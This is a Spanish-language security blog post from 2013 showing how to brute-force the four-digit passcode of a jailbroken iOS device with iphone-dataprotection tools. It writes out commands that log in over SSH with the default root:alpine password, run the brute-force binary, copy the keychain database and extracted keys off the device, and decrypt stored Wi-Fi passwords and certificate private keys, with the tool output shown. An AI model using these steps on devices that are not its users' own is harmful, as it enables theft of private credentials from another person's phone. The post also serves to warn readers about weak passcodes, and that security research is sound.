Español | English
rss facebook linkedin Twitter

Cracking iOS PassCode

Hace unos meses, en un post anterior, os comentábamos cómo funcionaba DataProtection de iOS para proteger las credenciales, y cuál de ellas quedaban automáticamente accesibles aún sin disponer del PassCode, debido al uso de las clases "Always" o "AfterFirstUnlock", pero... ¿Qué ocurre si el PassCode es excesivamente trivial? ¿Cuánto os protege un PassCode como "1234"?

Si alguna vez habéis probado a poner la contraseña erroneamente en un dispositivo iOS, habréis comprobado que tras ciertos intentos fallidos os introduce un tiempo de espera que va aumentando sucesivamente conforme nos equivocamos. Esta es una medida de seguridad bastante efectiva contra ataques de diccionario o fuerza bruta. Sin embargo, esta es una medida que en iOS está implementada en el propio interface, no en los internals del KeyChain, por lo que su efectividad se basa en que el atacante no tiene acceso al dispositivo por otro medio que no sea el interface de la pantalla táctil.

¿Podemos acceder por otros medios a estos dispositivos? La verdad es que sí, podemos haber obtenido acceso si el dispositivo tiene Jailbreak y la contraseña de SSH no ha sido cambiada (root:alpine), por ejemplo, o tras la explotación de alguna vulnerabilidad, bien sea tras la intervención del usuario, como ocurría con Jail0wnme, o de alguna vulnerabilidad en el bootloader como limera1n.

Si hemos obtenido acceso al dispositivo por alguno de estos medios, podemos usar los servicios y herramientas que forman parte de iphone-dataprotection para lanzar un ataque de fuerza bruta "desde dentro", que nos va a ayudar a evitar las protecciones que tiene iOS en su interface.

Si nos descargamos y compilamos los binarios de iphone-dataprotection, tendremos un directorio llamado "ramdisk_tools", que es donde están las herramientas que se incorporan en el RamDisk si queremos explotar limera1n, pero que por supuesto podemos utilizar ante cualquier otro acceso. Yo voy a usar un iPad Jailbreakeado con SSH root:alpine, pero lo mismo se podría hacer, por ejemplo, descargando el mismo binario de algún sitio tras haber obtenido una shell remota:

$ scp ramdisk_tools/bruteforce root@192.168.1.109:
$ ssh root@192.168.1.109
root@192.168.1.109's password: alpine
S21Pad:~ root#

Una vez dentro, podemos utilizar el binario llamándolo sin argumentos y realizará una fuerza bruta contra todos los pines de 4 dígitos:

# ./bruteforce   
Writing results to 7b93c4e7f008a64b.plist
keybag id=1
0000
0001
[...]
0020
0021
Found passcode : 0021
Keybag version : 3
Keybag keys : 10
Class Wrap Key
11 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
10 0 bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
9 0 ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
8 0 dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
7 0 11111111111111111111111111111111111111111111111111111111111111
6 0 22222222222222222222222222222222222222222222222222222222222222
5 0 33333333333333333333333333333333333333333333333333333333333333
3 0 44444444444444444444444444444444444444444444444444444444444444
2 0 55555555555555555555555555555555555555555555555555555555555555
1 0 66666666666666666666666666666666666666666666666666666666666666

Passcode key : beefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeefbeef
Key 0x835 : f00f00f00f00f00f00f00f00f00f00f00f
Writing results to 7b93c4e7f008a64b.plist

Me vais a perdonar que oculte las claves extraídas, porque éstas son las que cifran la información y si las tuvierais podrías descifrar el KeyChain o los ficheros aunque cambiara el PassCode en el futuro, a no ser que restaurara de fábrica el dispositivo.

Las claves necesarias para el descifrado se escriben en un fichero PLIST, así que ahora lo que necesitamos es sacar del iPad ese PLIST y el propio KeyChain y a descifrar. Esto es posible porque con el ataque de fuerza bruta ya hemos obtenido las claves de cifrado reales, por lo que ya no tenemos que calcular nada en el dispositivo.

$ scp root@192.168.1.109:/private/var/Keychains/keychain-2.db .
$ scp root@192.168.1.109:7b93c4e7f008a64b.plist .

Ahora que tenemos el KeyChain cifrado y las claves, ya solo tenemos que utilizar otra de las herramientas de esta suite para descifrar el contenido:

$ python python_scripts/keychain_tool.py -d keychain-2.db 7b93c4e7f008a64b.plist 
Keybag unlocked with passcode key
[...]
---------------------------------------------------------------------------------------------------
|                                                         Passwords                                                               |
---------------------------------------------------------------------------------------------------
|Service               |Account            |Data       |Access group     |Protection class              |
---------------------------------------------------------------------------------------------------
|push.apple.com  |                         |>8***** |com.apple.apsd |AlwaysThisDeviceOnly  |
|AirPort               |WLAN_72AF  |46***** |apple                  |AfterFirstUnlock             |
|AirPort               |Lemonparty     |89***** |apple                  |AfterFirstUnlock             |
|_LineUserInfo    |region              |ES           |ZW4U99SQQ3 |WhenUnlocked               |
|AirPort               |S21sec              |no****    |apple                |AfterFirstUnlock             |
|AirPort               |WLAN_8D       |Z0****    |apple               |AfterFirstUnlock              |
---------------------------------------------------------------------------------------------------

Así nos mostrará, al igual que en el anterior post, las credenciales almacenadas, salvo que ahora nos muestra también las que han sido guardadas con la clase "WhenUnlocked", que en este caso no son muchas o ninguna, pero la diferencia sí que la vamos a ver claramente si volcamos los certificados almacenados, ya que en esta ocasión las claves privadas de los certificados sí que vamos a poderlas volcar:

$ python python_scripts/keychain_tool.py -c keychain-2.db 7b93c4e7f008a64b.plist
Keybag unlocked with passcode key
Saving certificate com.apple.ubiquity.peer-uuid.738C1396-D023-4D7D-9E11-806FF5331CDB_com.apple.ubd.crt
Saving certificate 74C7946F-0525-445B-A24E-4FBC74E8F589_lockdown-identities.crt
Saving certificate broker.banco.com_com.apple.certificates.crt
Saving certificate 74C7946F-0525-445B-A24E-4FBC74E8F589_com.apple.apsd.crt
Saving key com.apple.ubiquity.peer-uuid.738C1396-D023-4D7D-9E11-806FF5331CDB_com.apple.ubd.key
Saving key 74C7946F-0525-445B-A24E-4FBC74E8F589_lockdown-identities.key
Saving key 74C7946F-0525-445B-A24E-4FBC74E8F589_com.apple.apsd.key

Por supuesto, también podemos usar el PassCode para acceder al dispositivo por el interfaz, desbloquearlo, quitar el PassCode, ... en fin, todo lo que queramos.

Jose Selvi
Dept. Servicios Profesionales S21sec
Twitter / Blog

2 comentarios:

Juan Miguel dijo...

Hola:

¿Se puede utilizar iphone-data protection contra un iPhone 4 (A4) con iOS 6.1-6.1.2?

¿Es posible contra iPhone 4S / 5 con iOS 6.1-6.1.2?

Específicamente para la fuerza bruta contra el passcode.

¡Gracias!

Jose Selvi dijo...

La suite iphone-protection se puede utilizar con cualquier versión de iOS (creo). Lo que no puedes usar con cualquier versión es el RamDisk que creas para arrancarlo tipo "live-cd".

Para usar el RamDisk necesitas que el bootloader que tiene el dispositivo sea vulnerable y te permita arrancar un RamDisk no firmado. En este momento, la única vulnerabilidad que permite hacer esto afecta a los dispositivos iPhone 4 e inferiores, iPad 1, y no recuerdo hasta que versión de iPod. La versión de iOS da un poco igual, aunque es cierto que el RamDisk para versiones de iOS 6 no está probado por sus desarrolladores y lo cierto es que falla.

Para iPhone 4S / 5 no puedes arrancar con RamDisk, pero si por ejemplo consiguieras hacerte root de algún modo podrías utilizar cualquiera de las otras herramientas para crackear o hacerte una imagen, pero claro, para eso necesitarías ya tener el PassCode :)

Hasta donde yo sé, hoy en día no se conoce ninguna técnica para romper el PassCode de iPhone 4S / 5.


(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login